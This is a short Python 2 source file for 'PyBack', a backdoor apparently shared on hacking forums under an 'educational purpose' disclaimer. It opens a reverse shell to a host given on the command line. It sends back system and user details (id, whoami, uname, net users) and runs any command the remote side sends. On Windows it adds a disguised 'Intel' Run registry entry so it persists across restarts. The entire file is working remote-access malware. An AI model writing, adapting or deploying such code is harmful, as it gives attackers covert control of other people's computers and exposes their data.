#!/usr/bin/env python

import os, sys, socket, time

#########################################################################                                           #
# This is for Educational Porpose only!                                 #
# Copyright (C) 2010 LeXeL                                              #
#                                                                       #
# This program is free software: you can redistribute it and/or modify  #
# it under the terms of the GNU General Public License as published by  #
# the Free Software Foundation, either version 3 of the License, or     #
# any later version.                                                    #
#                                                                       #
# This program is distributed in the hope that it will be useful,       #
# but WITHOUT ANY WARRANTY; without even the implied warranty of        #
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the         #
# GNU General Public License for more details.                          #
#                                                                       #
# You should have received a copy of the GNU General Public License     #
# along with this program.  If not, see <http://www.gnu.org/licenses/>. #
#########################################################################    
try:
    winregfound = True
    import _winreg
except ImportError:
    print '\n [-] _winreg module not found, continuing without'
    winregfound = False
    
def first():
    con = socket.gethostname()
    ip=socket.gethostbyname(con)
    s.send("Reciving conection from: " +ip)
    time.sleep(3)

def helpscreen():
    h = '''
 Usage: pydoor.py [HOST] [PORT]
 Example: pydoor.py 127.0.0.1 1337'''
    return h

def sendinfo():
    if ostype == 'unix':
        s.send(title)     
        s.send('\n ID: ' + os.popen('id').read())
        s.send('\n Who are you: ' + os.popen('whoami').read())
        s.send('\n Kernel info: ' + os.popen('uname -a').read())
    elif ostype == 'dos':
        if winregfound:
            keyp = _winreg.OpenKey( _winreg.HKEY_LOCAL_MACHINE,  'Software\\Microsoft\Windows\\CurrentVersion\\Run',0,  _winreg.KEY_SET_VALUE)
            _winreg.SetValueEx (keyp, 'Intel', 0, _winreg.REG_SZ, b)
            _winreg.CloseKey(keyp)
        s.send(title)
        s.send('\n Version: ' + os.popen('ver').read())
        s.send('\n Net users: ' + os.popen('net users').read())
    else:
        s.send(title)
        
def dire():
    if ostype == 'unix':
        dir1 = 'ls -a'
        s.send(os.popen(dir1).read())
    elif ostype == 'dos':
        dir1 = 'dir'
        s.send(os.popen(dir1).read())
    else:
        print '\nCannot dir due to unidentified operating system'

def CD(where):
    try:
        os.chdir(where)
    except OSError:
        d = '\nCould not cd to %s: %s' % (where)
        return d
    else:
        d = '\nChanged curdir to %s' % (os.curdir)
        return d

try:
    HOST = sys.argv[1]
    PORT =  int(sys.argv[2])
except (IndexError, ValueError):
    helpscreen()
    sys.exit(1)
    
a =  sys.path[0]
pyback = '\pyback.py'
b= '"'+a+pyback+' '+HOST+' '+str(PORT)+'"'+'/background'
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    first()
except BaseException, e:
    print '\nSocketError: %s' % (e)
    sys.exit(1)

if (sys.platform == 'linux-i386') or (sys.platform == 'linux2') or  (sys.platform == 'darwin'):
    ostype = 'unix'
elif (sys.platform == 'win32') or (sys.platform == 'dos') or  (sys.platform[0:5] == 'ms-dos'):
    ostype = 'dos'

title = """
_____        ____             _    
 |  __ \      |  _ \           | |   
 | |__) |_   _| |_) | __ _  ___| | __
 |  ___/| | | |  _ < / _` |/ __| |/ /
 | |    | |_| | |_) | (_| | (__|   < 
 |_|     \__, |____/ \__,_|\___|_|\_
          __/ |                      
         |___/                       


         
    made by: LeXeL (lexelEZ@gmail.com)
    greetz to Sevic3 and s3my0n
    visit: Evilzone.org intern0t.net
    """
sendinfo()
while True:
    s.send('\n> ')
    cmd = s.recv(1024)

    cmd2 = cmd.split() 
    if cmd2[0].lower() == 'cd':
        msg = CD(cmd2[1])
        s.send(msg)
    if cmd2[0].lower()=='dir':
        dire()
    if cmd2[0].lower() == 'getinfo':
        sendinfo()
    if cmd2[0].lower() == 'exit':
        s.close()
    a = os.popen(cmd).read()
    s.send(a)
